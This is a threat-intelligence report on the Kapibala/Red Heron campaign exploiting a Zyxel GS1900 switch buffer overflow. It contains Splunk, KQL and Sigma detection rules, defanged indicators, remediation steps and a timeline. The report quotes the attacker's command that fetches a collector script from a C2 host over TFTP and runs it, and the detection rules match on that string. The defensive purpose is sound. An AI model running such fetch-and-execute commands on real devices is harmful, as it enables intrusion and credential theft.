Zyxel GS1900 Series Switches Stack-Based Buffer Overflow (CVE-2026-7273) Actively Exploited by Kapibala/Red Heron in Global 996-Device Campaign — Added to CISA KEV

Key facts for Zyxel GS1900 Kapibala campaign

Detection coverage for Zyxel GS1900 Kapibala campaign

As of 2026-11-06, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-2611 across Splunk SPL, Microsoft KQL and Sigma, covering 51 indicator(s) of compromise. The whole corpus is readable without an account. Every threat comes with one complete detection in Splunk SPL, Microsoft KQL and Sigma, free for everyone; a free account adds daily TL Creds to unlock the rest. Paid plans add a larger daily allowance, correlation and the MCP server. Threadlinqs MCP server · View plans.

Free detection: Zyxel GS1900 Post-Exploitation: TFTP-Retrieved Collector Script Execution & Local Credential Harvest

Detects the Kapibala/Red Heron post-exploitation sequence on compromised Zyxel GS1900 switches: retrieval of the collector script `c` via TFTP on non-standard port 6969, its execution via `/bin/sh`, and the resulting staging of harvested running-configuration, hashed root credentials, and network information to /tmp/info and /home/web/tmp/info.txt.

• Languages: Splunk SPL, Microsoft KQL, Sigma
• ATT&CK: T1059.004, T1105, T1005, T1552.001, T1016
• Data sources: netflow, tftp_traffic_logs, zyxel_switch_syslog, linux_process_logs
• Severity: critical
• Confidence: high

Splunk SPL

(index=network sourcetype="stream:udp" dest_port=6969
 | eval detection_reason="tftp_nonstandard_port_transfer"
 | fields _time src_ip dest_ip dest_port detection_reason)
append
 [search index=network sourcetype="stream:tftp" OR sourcetype="pcap:tftp" (tftp_opcode="RRQ" OR tftp_opcode=1) filename="c"
  | eval detection_reason="tftp_collector_script_retrieval"
  | fields _time src_ip dest_ip filename detection_reason]
append
 [search index=syslog sourcetype="zyxel:switch:syslog" OR sourcetype="linux:syslog"
  (command="*tftp -gr c -l*" OR command="*\/bin\/sh \/1*" OR message="*tftp -gr c*" OR message="*\/tmp\/info*" OR message="*\/home\/web\/tmp\/info.txt*")
  | eval detection_reason="shell_execution_of_tftp_payload"
  | fields _time host command message detection_reason]
| stats count min(_time) as first_seen max(_time) as last_seen values(detection_reason) as detection_reason values(dest_ip) as dest_ip values(src_ip) as src_ip by host
| where count>=1

Microsoft KQL

let TFTPRetrieval =
Syslog
| where TimeGenerated > ago(24h)
| where SyslogMessage has "tftp" and SyslogMessage has_any ("-gr c", "6969")
| extend DetectionReason = "tftp_collector_script_retrieval"
| project TimeGenerated, HostName, SyslogMessage, DetectionReason;
let ShellExecution =
Syslog
| where TimeGenerated > ago(24h)
| where SyslogMessage has_any ("/bin/sh /1", "/tmp/info", "/home/web/tmp/info.txt")
| extend DetectionReason = "shell_execution_of_tftp_payload"
| project TimeGenerated, HostName, SyslogMessage, DetectionReason;
let NonStandardPortTraffic =
DeviceNetworkEvents
| where TimeGenerated > ago(24h)
| where RemotePort == 6969
| extend DetectionReason = "tftp_nonstandard_port_transfer", SyslogMessage = strcat("dst=", RemoteIP, ":", tostring(RemotePort))
| project TimeGenerated, HostName = DeviceName, SyslogMessage, DetectionReason;
TFTPRetrieval
| union ShellExecution
| union NonStandardPortTraffic
| sort by TimeGenerated desc

Sigma

title: Zyxel GS1900 TFTP-Retrieved Collector Script Execution (Kapibala Post-Exploitation)
id: a7b8c9d0-1e2f-4a3b-8c4d-5e6f7a8b9c0d
status: experimental
description: Detects the post-exploitation command used by the Kapibala/Red Heron campaign on compromised Zyxel GS1900 switches to retrieve and execute a credential/config collector script via TFTP on non-standard port 6969.
references:
    - https://www.greynoise.io/blog/open-season-on-kapibala-attacker-steals-government-records-wordpress-exploitation
author: AII-Detector — ThreadLinqs Intelligence
date: 2026-09-21
tags:
    - attack.execution
    - attack.t1059.004
    - attack.command-and-control
    - attack.t1105
    - attack.collection
    - attack.t1005
    - attack.credential-access
    - attack.t1552.001
    - attack.discovery
    - attack.t1016
    - cve.2026.7273
logsource:
    category: process_creation
    product: linux
detection:
    selection_tftp:
        CommandLine|contains:
            - 'tftp -gr c -l'
            - ':6969'
    selection_shell:
        CommandLine|contains: '/bin/sh /1'
    selection_stage:
        CommandLine|contains:
            - '/tmp/info'
            - '/home/web/tmp/info.txt'
    condition: selection_tftp or selection_shell or selection_stage
falsepositives:
    - Legitimate administrative firmware or configuration recovery via TFTP performed by authorized network operations staff
level: critical

Known false positives:

• Legitimate administrative firmware or configuration recovery via TFTP performed by authorized network operations staff using standard TFTP procedures

Tuning notes: Restrict scope to known network-infrastructure/management-VLAN subnets to reduce noise from unrelated TFTP usage; require the TFTP retrieval of filename `c` and the /bin/sh execution or /tmp/info staging indicators to co-occur within a short window on the same host before alerting, to raise confidence over a lone port-6969 hit.

• 🔒 Zyxel GS1900 CGI Buffer Overflow Exploitation & Default-Credential Access Attempt (CVE-2026-7273) · unlock with TL Creds
• 🔒 Zyxel GS1900 Post-Exploitation: TFTP-Retrieved Collector Script Execution & Local Credential Harvest · unlock with TL Creds
• 🔒 Kapibala C2 Communication: TFTP Exfiltration over Non-Standard Port to Known GS1900-Campaign Infrastructure · unlock with TL Creds
• 🔒 Zyxel GS1900 CGI Buffer Overflow Exploitation & Default-Credential Access Attempt (CVE-2026-7273) · unlock with TL Creds
• 🔒 Zyxel GS1900 Post-Exploitation: TFTP-Retrieved Collector Script Execution & Local Credential Harvest · unlock with TL Creds
• 🔒 Kapibala C2 Communication: TFTP Exfiltration over Non-Standard Port to Known GS1900-Campaign Infrastructure · unlock with TL Creds
• 🔒 Zyxel GS1900 CGI Buffer Overflow Exploitation & Default-Credential Access Attempt (CVE-2026-7273) · unlock with TL Creds
• 🔒 Kapibala C2 Communication: TFTP Exfiltration over Non-Standard Port to Known GS1900-Campaign Infrastructure · unlock with TL Creds

Indicators of compromise for Zyxel GS1900 Kapibala campaign

As of 2026-11-06, Threadlinqs Intelligence tracks 51 indicators of compromise for TL-2026-2611.

Sample indicators (3 of 51)

• IP address: 104.225.153[.]141
• Domain: 981666[.]xyz
• File hash: 0f6e757e82c4d91df5bd249f775b9970b59dee42cc0dfe40f879d77fc16821c6

Defanged, TLP:CLEAR. Full set of 51 indicators: unlock with TL Creds.

How Zyxel GS1900 Kapibala campaign works

CVE-2026-7273 is a stack-based buffer overflow (CWE-121) in the CGI program of Zyxel's GS1900 series Smart Managed Switch firmware. Because the CGI handler fails to bound-check user-supplied input before copying it into a fixed-size stack buffer, a LAN-adjacent, unauthenticated attacker can send a single crafted HTTP request to overwrite the stack and redirect execution, ultimately achieving OS command execution on the switch (NVD CVSS 3.1: 8.8, AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). Zyxel published a fix on 2026-06-16 for ten affected GS1900 models (firmware 2.10 through 2.90 depending on model), crediting five ISCAS researchers with responsible disclosure.

On 2026-09-21, GreyNoise's "Open Season on Kapibala" report disclosed that this vulnerability had been actively and successfully exploited in the wild as one component of a broader multi-CVE campaign (also touching WordPress, Gitea, UniFi OS, FlowiseAI, SENAITE LIMS, Nuclio, Proxmox VE, and the Linux kernel Dirty Pipe flaw) attributed to a cluster GreyNoise tracks as "Kapibala," assessed with low-to-moderate confidence as Chinese-speaking (UTC+8 operational tempo) and possibly identical to or affiliated with the previously documented actor "Red Heron" (Acronis, 2026-09-13), which separately weaponized a Gitea RCE (CVE-2026-60004) to deploy a Linux implant with an LD_PRELOAD rootkit. For the Zyxel sub-campaign specifically, the actor used a Python exploit script — packed with PyArmor 6.7.5 to hinder analysis — that supports command-line targeting of multiple GS1900 firmware variants across the 2.10-2.90 range. On successful exploitation the device is instructed to run `tftp -gr c -l /1 <C2> 6969;/bin/sh /1`, pulling a collector script named `c` over TFTP on a non-standard port (6969) and executing it via `/bin/sh`. The collector harvests the switch's running configuration, hashed root-level credentials, and networking information into `/tmp/info`, which is then staged to `/home/web/tmp/info.txt` ahead of exfiltration.

GreyNoise telemetry attributes 996 compromised GS1900 switches across 48 countries to this campaign, led by Italy (133), the United States (129), Taiwan (123), France (90), and South Korea (69). Notably, 564 of the 996 compromised devices (57%) were reached via unrotated factory-default administrative credentials rather than the CVE-2026-7273 exploit chain itself, indicating the actor is opportunistically combining a novel pre-auth RCE with basic credential-stuffing against exposed management interfaces. As switches sit at the network edge and grant "total control of the asset post-exploitation" per CISA, successful compromise enables traffic interception, lateral pivoting into the broader LAN, configuration tampering, and persistent access to the wider network the switch serves. CISA added CVE-2026-7273 to the KEV catalog on 2026-09-21 under BOD 26-04, with a federal remediation due date of 2026-09-24; agencies are also required to determine whether compromise occurred prior to patching.

MITRE ATT&CK techniques by tactic:

Credential Access

T1003.008 OS Credential Dumping; T1552.001 Credentials In Files

Collection

T1005 Data from Local System; T1074.001 Data Staged; T1119 Automated Collection; T1602.002 Network Device Configuration Dump

Defense Evasion

T1014 Rootkit; T1027.002 Software Packing; T1036.005 Masquerading; T1564.001 Hide Artifacts

Discovery

T1016 System Network Configuration Discovery; T1082 System Information Discovery

Exfiltration

T1041 Exfiltration Over C2 Channel

Execution

T1059.004 Unix Shell; T1059.006 Command and Scripting Interpreter

Command and Control

T1071.002 File Transfer Protocols; T1090 Proxy; T1095 Non-Application Layer Protocol; T1105 Ingress Tool Transfer; T1571 Non-Standard Port; T1572 Protocol Tunneling; T1573.001 Encrypted Channel

Initial Access

T1078.001 Default Accounts; T1190 Exploit Public-Facing Application

Persistence

T1543.002 Create or Modify System Process; T1574.006 Hijack Execution Flow

Resource Development

T1587.004 Develop Capabilities; T1588.002 Tool

Reconnaissance

T1595.002 Vulnerability Scanning

Remediation for Zyxel GS1900 Kapibala campaign

Patches

• Upgrade to the fixed firmware release for each affected model (e.g., GS1900-8: 2.90(AAHH.2)C0; GS1900-48HPv2: 2.90(ABTQ.2)C0) per Zyxel's 2026-06-16 advisory

Immediate actions

• Identify all Zyxel GS1900 series switches on the network and confirm exact model/firmware version against Zyxel's affected list
• Restrict or disable the web/CGI management interface from LAN and WAN access wherever it is not strictly required
• Immediately rotate factory-default administrative credentials on every GS1900 device — 57% of confirmed compromises in this campaign used unrotated default logins
• Review switch configuration and account state for signs of prior compromise before applying patches, per BOD 26-04 forensic-triage guidance
• Block outbound TFTP (UDP/69 and non-standard ports such as 6969) from network device management VLANs where not required

Workarounds

• If patching cannot occur immediately, disable remote/WAN administration and restrict CGI/web-management access to a trusted management network only

Longer-term hardening

• Segment network management interfaces (switches, APs, IoT/embedded devices) onto a dedicated, access-controlled management VLAN isolated from general LAN traffic
• Deploy network-level monitoring/IDS capable of detecting anomalous outbound TFTP and shell-invocation patterns from network infrastructure devices
• Establish a firmware patch-management and default-credential-rotation process for SMB/embedded network gear, which frequently lacks EDR coverage

Affected and fixed versions

• Zyxel — GS1900-8
  Vulnerable versions: 2.90(AAHH.1)C0 and earlier
  Fixed in: 2.90(AAHH.2)C0
• Zyxel — GS1900-8HP
  Vulnerable versions: 2.90(AAHI.1)C0 and earlier
  Fixed in: 2.90(AAHI.2)C0
• Zyxel — GS1900-10HP
  Vulnerable versions: 2.90(AAZI.1)C0 and earlier
  Fixed in: 2.90(AAZI.2)C0
• Zyxel — GS1900-16
  Vulnerable versions: 2.90(AAHJ.1)C0 and earlier
  Fixed in: 2.90(AAHJ.2)C0
• Zyxel — GS1900-24
  Vulnerable versions: 2.90(AAHL.1)C0 and earlier
  Fixed in: 2.90(AAHL.2)C0
• Zyxel — GS1900-24E
  Vulnerable versions: 2.90(AAHK.1)C0 and earlier
  Fixed in: 2.90(AAHK.2)C0
• Zyxel — GS1900-24EP
  Vulnerable versions: 2.90(ABTO.1)C0 and earlier
  Fixed in: 2.90(ABTO.2)C0
• Zyxel — GS1900-24HPv2
  Vulnerable versions: 2.90(ABTP.1)C0 and earlier
  Fixed in: 2.90(ABTP.2)C0
• Zyxel — GS1900-48
  Vulnerable versions: 2.90(AAHN.1)C0 and earlier
  Fixed in: 2.90(AAHN.2)C0
• Zyxel — GS1900-48HPv2
  Vulnerable versions: 2.90(ABTQ.1)C0 and earlier
  Fixed in: 2.90(ABTQ.2)C0

Timeline of Zyxel GS1900 Kapibala campaign

Last updated 2026-11-06 · 4 updates · revalidated 4× · latest source

Showing the 20 most recent tracked events.

• 2026-05-07 GreyNoise associates activity from this date onward with a single suspected Chinese-speaking malicious actor (locked-ioc-44).
• 2026-06-01 GreyNoise-tracked 'locked-ioc-44' campaign begins its June-September 2026 multi-technology exploitation spree, later found to include GS1900 switch targeting.
• 2026-06-16 NVD publishes CVE-2026-7273 with CVSS 3.1 base score 8.8 (AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) and CWE-121 classification.
• 2026-06-16 Zyxel publishes security advisory and fixed firmware for CVE-2026-7273 across ten GS1900 series switch models, crediting five ISCAS researchers for responsible disclosure.
• 2026-08-04 Acronis TRU discovers locked-ioc-42's exposed staging server (locked-ioc-36:8888) and flags the locked-ioc-45 implant during Gitea-campaign hunting.
• 2026-08-17 Approximate date the actor exploited and exfiltrated data from 996 GS1900 switches across 48 countries (per Cyber Security News write-up of GreyNoise).
• 2026-09-13 Acronis TRU publishes research on 'locked-ioc-42,' a Chinese-speaking actor GreyNoise later assesses may be linked to or identical with locked-ioc-44, documenting its exploitation of a separate Gitea RCE (CVE-2026-60004).
• 2026-09-17 Binarly identifies GS1900 exploit code (locked-ioc-19) in an open directory on an attacker server that also hosts locked-ioc-45 backdoor infrastructure.
• 2026-09-18 GreyNoise detects first signs of CVE-2026-7273 exploitation.
• 2026-09-21 CISA adds CVE-2026-7273 to the Known Exploited Vulnerabilities catalog based on evidence of active exploitation, per BOD 26-04.
• 2026-09-21 GreyNoise publishes 'Open Season on locked-ioc-44,' disclosing that CVE-2026-7273 was actively exploited via a PyArmor-obfuscated exploit, compromising 996 GS1900 switches across 48 countries.
• 2026-09-22 Help Net Security reports an actor compromised nearly 1,000 Zyxel switches since August, attributed at the time to CVE-2026-7273.
• 2026-09-24 BOD 26-04 remediation due date for U.S. federal civilian agencies to patch or mitigate CVE-2026-7273.
• 2026-09-28 Binarly reports that all ten firmware releases marketed as fixes for CVE-2026-7273 remain exploitable (copy-before-check flaw not fixed).
• 2026-09-29 Binarly notifies Zyxel that the June fix for CVE-2026-7273 is incomplete.
• 2026-10-11 Zyxel acknowledges the new flaw CVE-2026-107441 affecting GS1900 switches.
• 2026-10-22 Zyxel releases firmware fixing CVE-2026-107441.
• 2026-11-03 Zyxel publishes its advisory for CVE-2026-107441.
• 2026-11-05 SecurityWeek reports the switch attacks blamed on the patched CVE-2026-7273 actually exploited a zero-day, linking them to locked-ioc-42 and the locked-ioc-45 and locked-ioc-48 malware.
• 2026-11-05 Help Net Security reports that patched GS1900 switches remained open to the in-the-wild exploit (CVE-2026-107441).

Update history

• 2026-11-06 — Zyxel GS1900 Switch Zero-Day CVE-2026-107441 Exploited in the Wild, Bypassing CVE-2026-7273 Patch: What changed No field escalations. Existing record already carries CRITICAL/ACTIVE, both CVEs and the Patch 3 fix. The newer report's HIGH severity, MEDIUM confidence and UNKNOWN motivation would be downgrades or are unsupported, so they ar
• 2026-11-06 — Zyxel GS1900 switches exploited in the wild via CVE-2026-107441 after ineffective patch for CVE-2026-7273: What changed No field escalations. Severity, exploitability and status already reflect the latest state. New indicators (7) Indicator values are withheld at this access level. New timeline 2026-09-17 Binarly finds exploit code on the attack
• 2026-11-05 — Zyxel GS1900 Switch Patch Missed Flaw Behind Wave of Attacks (CVE-2026-7273, CVE-2026-107441): What changed No severity, exploitability, status or CVSS change. Severity (CRITICAL) and exploitability (ACTIVE) are already at the maximum. The CVSS dispute (Zyxel 8.8 vs Binarly 9.8) is left unchanged because the newer report does not set
• 2026-11-04 — Zyxel GS1900 Switch Zero-Day (CVE-2026-7273 / CVE-2026-107441) Exploited in the Wild — locked-ioc-45 Backdoor and locked-ioc-48 Rootkit: What changed The June 16 fix for CVE-2026-7273 is reported as incomplete: all ten 2.90(xxxx.2)C0 builds remained exploitable (Binarly, 2026-09-28). Zyxel acknowledged follow-on CVE-2026-107441 on 2026-10-11 and shipped a fix on 2026-10-22 (

Sources cited for Zyxel GS1900 Kapibala campaign

• CISA Adds One Known Exploited Vulnerability to Catalog CISA · Government advisory · 2026-09-21
• CISA Known Exploited Vulnerabilities Catalog — CVE-2026-7273 CISA · Government advisory · 2026-09-21
• NVD - CVE-2026-7273 NVD (NIST) · Advisory · 2026-06-16
• BOD 26-04: Prioritizing Security Updates Based on Risk CISA · Government advisory · 2026-06-10
• Zyxel Security Advisory for Stack-Based Buffer Overflow Vulnerability in GS1900 Series Switches zyxel.com · Vendor report · 2026-06-16
• Open Season on Kapibala: Attacker Steals Government Records via WordPress Exploitation greynoise.io · Research · 2026-09-21
• Red Heron Exploits Gitea N-Day Flaw in Multinational Campaign, Exposing New Linux Rootkit acronis.com · Research · 2026-09-13
• BOD 26-04: A New Era of Prioritized Remediation runzero.com · Blog · 2026-06-10

More in vulnerability

• Siemens SSA-698820: Multiple Fortigate NGFW Vulnerabilities (before V7.4.4) on RUGGEDCOM APE1808 Devices
• Siemens SSA-827968: Multiple Vulnerabilities in Nozomi Guardian/CMC < V26.2.0 on RUGGEDCOM APE1808 (17 CVEs)
• Local Privilege Escalation in Siemens TeleControl Server Basic before V3.1.2.4 (CVE-2025-40942)
• Privilege Escalation in WIBU CodeMeter Runtime Affecting Siemens Desigo CC Product Family and SENTRON Powermanager (CVE-2025-47809)
• Siemens SSA-282044: DLL Hijacking in Siemens Web Installer (SIWA) used by Online Software Delivery (CVE-2025-30033)

More from Kapibala

• Zyxel GS1900 Switch Zero-Day (CVE-2026-107441) Exploited by Kapibala in Red Heron Campaign, ~1,000 Switches Compromised
• Chinese-Speaking 'Kapibala' Actor (Red Heron-Linked) Chains WordPress wp2shell, Zyxel GS1900, and Ubiquiti UniFi OS Flaws to Steal Government Data

Previous and next in vulnerability

• Click2Shell: WordPress Theme-Preview CSRF/Selector-Injection Chain to Forced Theme Install Previous report
• BigDiskBuster PoC Blocks Windows Defender Signature/Platform Updates (DoS) Next report